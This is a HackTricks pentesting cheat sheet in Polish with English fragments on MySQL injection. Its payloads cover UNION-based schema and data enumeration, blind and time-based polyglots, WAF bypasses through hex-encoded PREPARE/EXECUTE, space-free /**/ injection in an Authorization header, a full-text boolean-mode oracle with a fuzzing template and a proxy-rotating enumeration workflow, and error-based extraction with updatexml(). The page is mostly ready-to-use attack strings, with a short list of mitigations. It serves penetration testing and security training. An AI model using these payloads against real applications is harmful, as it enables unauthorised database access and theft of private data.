MySQL injection

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Komentarze

-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

Interesujące funkcje

Potwierdź Mysql:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

Przydatne funkcje

SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

Wszystkie injection

SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

z https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

Przepływ

Pamiętaj, że w “nowoczesnych” wersjach MySQL możesz użyć “information_schema.tables” zamiast “mysql.innodb_table_stats” (To może być przydatne do obejścia WAFs).

SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

Tylko 1 wartość

  • group_concat()
  • Limit X,1

Blind one by one

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind adding

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

Wykrywanie liczby kolumn

Using a simple ORDER

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

Dowiedz się tutaj różnych opcji, aby abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Executing queries through Prepared Statements

Jeśli stacked queries są dozwolone, może być możliwe ominięcie WAFs poprzez przypisanie do zmiennej reprezentacji hex zapytania, które chcesz wykonać (używając SET), a następnie użycie instrukcji PREPARE i EXECUTE MySQL, aby ostatecznie wykonać zapytanie. Coś takiego:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

Po więcej informacji proszę odnieść się do this blog post.

Alternatywy Information_schema

Pamiętaj, że w “nowoczesnych” wersjach MySQL możesz zastąpić information_schema.tables przez mysql.innodb_table_stats, sys.x$schema_flattened_keys albo sys.schema_table_statistics

MySQLinjection bez przecinków

Select 2 kolumny bez używania żadnego przecinka (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

Pobieranie wartości bez nazwy kolumny

Jeśli w pewnym momencie znasz nazwę tabeli, ale nie znasz nazw kolumn w tej tabeli, możesz spróbować ustalić, ile kolumn się w niej znajduje, wykonując coś takiego:

# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

Zakładając, że są 2 kolumny (pierwsza to ID, a druga to flag), możesz spróbować przeprowadzić bruteforce zawartości flag, próbując znak po znaku:

# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

Więcej informacji: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

Injection bez SPACES (/**/ comment trick)

Niektóre aplikacje oczyszczają lub parsują dane wejściowe użytkownika przy pomocy funkcji takich jak sscanf("%128s", buf), które zatrzymują się przy pierwszym znaku spacji. Ponieważ MySQL traktuje sekwencję /**/ jako komentarz i jako biały znak, można jej użyć do całkowitego usunięcia zwykłych spacji z payloadu, przy jednoczesnym zachowaniu składniowej poprawności zapytania.

Przykład time-based blind injection omijający filtr spacji:

GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

Które baza danych otrzymuje jako:

' OR SLEEP(5)-- -'

To jest szczególnie przydatne, gdy:

  • Sterowalny bufor ma ograniczony rozmiar (np. %128s), a spacje zakończyłyby wejście przedwcześnie.
  • Wstrzykiwanie przez nagłówki HTTP lub inne pola, gdzie zwykłe spacje są usuwane lub używane jako separatory.
  • Połączone z prymitywami INTO OUTFILE w celu osiągnięcia pełnego pre-auth RCE (zob. sekcję MySQL File RCE).

Historia MySQL

Możesz zobaczyć inne wykonania w MySQL, przeglądając tabelę: sys.x$statement_analysis

Alternatywne wersjes

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE — nadużycie operatorów (WOR)

To nie klasyczny SQL injection. Gdy developerzy przekazują dane użytkownika do MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL wykonuje bogaty zestaw operatorów wyszukiwania Boolean wewnątrz cytowanego ciągu. Wiele reguł WAF/SAST koncentruje się jedynie na łamaniu cudzysłowów i pomija tę powierzchnię.

Key points:

  • Operatory są oceniane wewnątrz cudzysłowów: + (musi zawierać), - (nie może zawierać), * (trailing wildcard), "..." (exact phrase), () (grouping), </>/~ (weights). Zobacz dokumentację MySQL.
  • To pozwala na testy obecności/braku i prefiksów bez wychodzenia z literału ciągu, np. AGAINST('+admin*' IN BOOLEAN MODE) aby sprawdzić, czy istnieje dowolny termin zaczynający się od admin.
  • Przydatne do budowy orakli, np. „czy którykolwiek wiersz zawiera termin z prefiksem X?” oraz do wyliczania ukrytych ciągów przez rozszerzanie prefiksu.

Przykładowe zapytanie zbudowane przez backend:

SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

Jeśli aplikacja zwraca różne odpowiedzi w zależności od tego, czy result set jest pusty (np. redirect vs. error message), to zachowanie staje się Boolean oracle, które można wykorzystać do enumeracji prywatnych danych, takich jak ukryte/usunięte tytuły.

Wzorce obejścia sanitizera (ogólne):

  • Boundary-trim preserving wildcard: jeśli backend przycina 1–2 końcowe znaki z każdego słowa za pomocą regexu takiego jak (\b.{1,2})(\s)|(\b.{1,2}$), wyślij prefix*ZZ. Cleaner przytnie ZZ, ale zostawi *, więc prefix* przetrwa.
  • Early-break stripping: jeśli kod usuwa operatory dla każdego słowa, ale przestaje przetwarzać, gdy znajdzie token o długości ≥ minimalnej długości, prześlij dwa tokeny: pierwszy to śmieciowy token, który spełnia próg długości, drugi niesie payload operatora. Na przykład: &&&&& +jack*ZZ → po oczyszczeniu: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26 oznacza &, %2B oznacza +. Końcowa xD (lub dowolne dwie litery) jest obcięta przez cleaner, zachowując {FUZZ}*.
  • Traktuj przekierowanie jako “match” i stronę błędu jako “no match”. Nie podążaj automatycznie za przekierowaniami, aby oracle pozostał obserwowalny.

Enumeration workflow:

  1. Zacznij od {FUZZ} = a…z,0…9, aby znaleźć dopasowania pierwszej litery za pomocą +a*, +b*, …
  2. Dla każdego pozytywnego prefiksu rozgałęź się: a* → aa* / ab* / …. Powtarzaj, aby odzyskać cały ciąg.
  3. Rozdziel żądania (proxies, wiele kont), jeśli aplikacja wymusza flood control.

Why titles often leak while contents don’t:

  • Niektóre aplikacje stosują kontrole widoczności dopiero po wstępnym MATCH na tytułach/subjects. Jeśli control-flow zależy od wyniku “any results?” przed filtrowaniem, występują existence leaks.

Mitigations:

  • Jeśli nie potrzebujesz Boolean logic, użyj IN NATURAL LANGUAGE MODE lub traktuj dane wejściowe użytkownika jako literal (escape/quote wyłącza operatory w innych trybach).
  • Jeśli Boolean mode jest wymagany, usuń lub zneutralizuj wszystkie Boolean operators (+ - * " ( ) < > ~) dla każdego tokena (bez wcześniejszych przerwań) po tokenizacji.
  • Nakładaj filtry visibility/authorization przed MATCH, lub ujednolić odpowiedzi (stały czas/kod statusu) gdy result set jest pusty vs. niepusty.
  • Przejrzyj analogiczne funkcje w innych DBMS: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2 CONTAINS również parsują operatory wewnątrz cytowanych argumentów.

Notes:

  • Prepared statements nie chronią przed semantycznym nadużyciem REGEXP lub operatorów wyszukiwania. Dane wejściowe takie jak .* pozostają dopuszczalnym regexem nawet wewnątrz cytowanego REGEXP '.*'. Używaj allow-lists lub jawnych zabezpieczeń.

Error-based exfiltration via updatexml()

When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:

dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}

updatexml() wywołuje błąd XPATH, który osadza konkatenowany ciąg, więc wartość z wewnętrznego SELECT pojawia się w odpowiedzi błędu między delimitatorami (0x7e = ~). Iteruj LIMIT 1 OFFSET N, aby enumerować wiersze. Działa to nawet gdy UI wymusza testy “boolean”, ponieważ komunikat błędu nadal jest ujawniany.

Inne poradniki MYSQL injection

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks